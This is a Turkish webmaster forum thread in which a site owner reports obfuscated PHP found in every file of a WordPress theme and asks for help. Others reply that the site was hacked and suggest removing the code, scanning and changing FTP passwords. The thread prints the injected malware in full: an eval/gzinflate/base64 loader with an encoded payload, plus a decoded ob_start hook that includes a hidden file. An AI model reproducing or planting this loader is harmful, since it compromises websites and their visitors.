• 29-05-2013, 13:40:15
    #1
    <?php
    $md5 = "853efcd547dba55844485d290feb9511";
    $ad = array('s',')',"(",'6',";",'$','f','l','4','n','a','d',"_","r","b","t","e",'i','c','z','o','v','g');
    $bd6 = create_function('$'.'v',$ad[16].$ad[21].$ad[10].$ad[7].$ad[2].$ad[22].$ad[19].$ad[17].$ad[9].$ad[6].$ad[7].$ad[10].$ad[15].$ad[16].$ad[2].$ad[14].$ad[10].$ad[0].$ad[16].$ad[3].$ad[8].$ad[12].$ad[11].$ad[16].$ad[18].$ad[20].$ad[11].$ad[16].$ad[2].$ad[5].$ad[21].$ad[1].$ad[1].$ad[1].$ad[4]);
    $bd6('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');
    ?>
    Sitemin footer dosyasında bunu buldum normalde yoktu acaba bu eklentilerden kaynaklı bir durum mu yoksa başka bir sıkıntı mı var şifreleri çözemediğim için içersinde ne ile alakalı kod var anlayamadım ?


    Şimdi kontrol ettiğim de temanın tüm dosyalarında bu kodlar var sanırım yanlış giden bişeyler var yardımcı olabilicek yokmu ?
  • 29-05-2013, 15:25:31
    #2
    Yedek alıp silmeyi deneyin. Herhangi bir hata verecekmi ona göre kesin birşey söylenilebilinir.
  • 29-05-2013, 16:40:45
    #3
    site yabancı içerikli ktunnel den veya vtunnelden kontrol etmek için girdiğimde saçma sapan içeriklerle karşılaşınca dosyaları kontrol edeyim dedim bu kodlar temanın tüm dısyalarına yayılmış hepsini temizledim. şu an sorun yok gibi ama anlamadığım nerden nasıl bulaştı
  • 29-05-2013, 16:43:31
    #4
    Site dosyalarınızı virüs taramasından geçirmenizi ve ftp bilgilerini değiştirmenizi öneririm.
  • 29-05-2013, 16:45:36
    #5
    <?php
    $md5 = "853efcd547dba55844485d290feb9511";
    if (function_exists('ob_start') && !isset($GLOBALS['mfsn'])) {
    $GLOBALS['mfsn'] = '/home/**/domains/**.com/public_html/wp-content/themes/keremiya/framework/keremiya/theme_options/images/colorpicker/aa1.php';
    if (file_exists($GLOBALS['mfsn'])) {
    include_once($GLOBALS['mfsn']);
    if (function_exists('gml') && function_exists('dgobh')) {
    ob_start('dgobh');
    }
    }
    }


    hacklenmişsiniz
  • 29-05-2013, 16:47:10
    #6
    sddeniz adlı üyeden alıntı: mesajı görüntüle
    Site dosyalarınızı virüs taramasından geçirmenizi ve ftp bilgilerini değiştirmenizi öneririm.
    önerebileceğiniz program var mı yada başka yol ?
    online siteleri denedim ama
    http://sitecheck.sucuri.net/scanner/
    http://siteinspector.comodo.com/